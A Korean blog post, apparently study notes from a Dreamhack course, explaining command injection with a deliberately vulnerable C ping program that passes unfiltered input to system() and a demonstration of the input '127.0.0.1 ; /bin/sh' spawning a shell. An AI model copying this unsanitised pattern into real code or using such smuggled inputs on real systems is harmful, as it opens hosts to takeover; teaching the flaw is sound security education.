[Dreamhack] Logical Bug: Command Injection

Sisyphus·2022년 9월 4일
0

Dreamhack - System Hacking

목록 보기
36/49

Command Injection

인젝션은 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법을 말합니다. 이중 시스템 명령어로 실행하게 하는 것을 command injection이라고 부릅니다.

Command injection은 명령어를 실행하는 함수에 사용자가 임의의 인자를 전달할 수 있을 때 발생합니다.
Ex) system("ping [user-input]"), system("cat [user-input]")

구체적으로 호출 과정에서 입력값을 제대로 검사하지 않으면 발생할 수 있습니다. 이는 리눅스 쉘이 지원하는 여러 메타 문자 때문입니다.

메타 문자 중에 주목해서 봐야 할 것은 여러 개의 명령어를 연속해서 실행 시킬수 있는 && ; | 입니다.

$ echo "hello" ; /bin/sh
hello
$
$ echo "hello" && /bin/sh
hello
$
$ echo id | /bin/sh
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),114(netdev)

Ex) system(ping [user-input])을 실행할 때
user-input에 a; /bin/sh를 전달하면 ping a와 /bin/sh 총 두개의 명령어가 실행됩니다. 그래서 최종적으로 쉘이 뜨게 됩니다.


예제

// Name: cmdi.c
// Compile: gcc -o cmdi cmdi.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const int kMaxIpLen = 36;
const int kMaxCmdLen = 256;

int main() {
  char ip[kMaxIpLen];
  char cmd[kMaxCmdLen];

  // Initialize local vars
  memset(ip, '\0', kMaxIpLen);
  memset(cmd, '\0', kMaxCmdLen);
  strcpy(cmd, "ping -c 2 ");

  // Input IP
  printf("Health Check\n");
  printf("IP: ");
  fgets(ip, kMaxIpLen, stdin);

  // Construct command
  strncat(cmd, ip, kMaxCmdLen);
  printf("Execute: %s\n",cmd);

  // Do health-check
  system(cmd);

  return 0;
}
  • IP를 입력하면 ping의 인자로 전달됩니다.

$ ./cmdi
Health Check
IP: 127.0.0.1
Execute: ping -c 2 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.262 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=128 time=0.539 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.262/0.400/0.539/0.139 ms

127.0.0.1을 입력하면 프로그램이 정상 작동합니다.


하지만 예제를 보면 메타 문자 필터링이 없기 때문에 command injection을 시도해보면

$ ./cmdi
Health Check
IP: 127.0.0.1 ; /bin/sh
Execute: ping -c 2 127.0.0.1 ; /bin/sh

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=128 time=0.221 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=128 time=0.533 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.221/0.377/0.533/0.156 ms
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),114(netdev)
$

ping 127.0.0.1이후 /bin/sh가 실행되어 쉘이 뜹니다.

0개의 댓글